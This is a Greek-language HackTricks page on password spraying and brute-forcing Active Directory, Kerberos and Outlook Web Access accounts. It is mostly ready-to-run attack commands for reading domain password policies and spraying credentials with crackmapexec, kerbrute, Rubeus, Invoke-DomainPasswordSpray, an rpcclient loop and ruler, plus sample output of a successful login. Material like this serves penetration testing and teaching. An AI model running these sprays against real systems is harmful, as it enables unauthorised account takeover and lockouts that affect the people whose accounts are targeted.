hacktricks/windows-hardening/active-directory-methodology/password-spraying.md
Translator workflow 35c6b081d2 Translated to Greek
2024-02-10 22:40:18 +00:00

10 KiB
Raw Blame History

Επίθεση με Κατανομή Κωδικών Πρόσβασης / Βίαιη Δοκιμή

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Επίθεση με Κατανομή Κωδικών Πρόσβασης

Αφού βρείτε αρκετά έγκυρα ονόματα χρηστών μπορείτε να δοκιμάσετε τους πιο συνηθισμένους κωδικούς πρόσβασης (λαμβάνοντας υπόψη την πολιτική κωδικού πρόσβασης του περιβάλλοντος) με κάθε έναν από τους ανακαλυφθέντες χρήστες.
Από προεπιλογή, το ελάχιστο μήκος του κωδικού πρόσβασης είναι 7.

Λίστες με συνηθισμένα ονόματα χρηστών μπορεί να είναι χρήσιμες επίσης: https://github.com/insidetrust/statistically-likely-usernames

Προσέξτε ότι μπορείτε να κλειδώσετε ορισμένους λογαριασμούς εάν δοκιμάσετε πολλούς λανθασμένους κωδικούς πρόσβασης (προεπιλογή περισσότερο από 10).

Λήψη πολιτικής κωδικού πρόσβασης

Εάν έχετε κάποια διαπιστευτήρια χρήστη ή ένα κέλυφος ως χρήστης του τομέα μπορείτε να λάβετε την πολιτική κωδικού πρόσβασης με:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Εκμετάλλευση από Linux (ή όλα)

  • Χρησιμοποιώντας το crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
  • Χρησιμοποιώντας το kerbrute (Go)
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (μπορείτε να υποδείξετε τον αριθμό των προσπαθειών για να αποφύγετε το κλείδωμα):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Χρησιμοποιώντας το kerbrute (python) - ΔΕΝ ΣΥΣΤΉΝΕΤΑΙ ΠΑΝΤΑ ΔΟΥΛΕΥΕΙ
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Με το εργαλείο scanner/smb/smb_login του Metasploit:

  • Χρησιμοποιώντας το rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Από τα Windows

  • Με την έκδοση Rubeus με το brute module:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Με το Invoke-DomainPasswordSpray (Μπορεί να δημιουργήσει χρήστες από τον τομέα από προεπιλογή και θα λάβει την πολιτική κωδικού πρόσβασης από τον τομέα και θα περιορίσει τις προσπάθειες ανάλογα με αυτήν):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Βίαιη Δύναμη

{% code overflow="wrap" %}

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

{% endcode %}

Outlook Web Access

Υπάρχουν πολλά εργαλεία για το password spraying στο Outlook.

Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και έναν κωδικό πρόσβασης / μια μικρή λίστα κωδικών πρόσβασης για να κάνετε spraying.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks: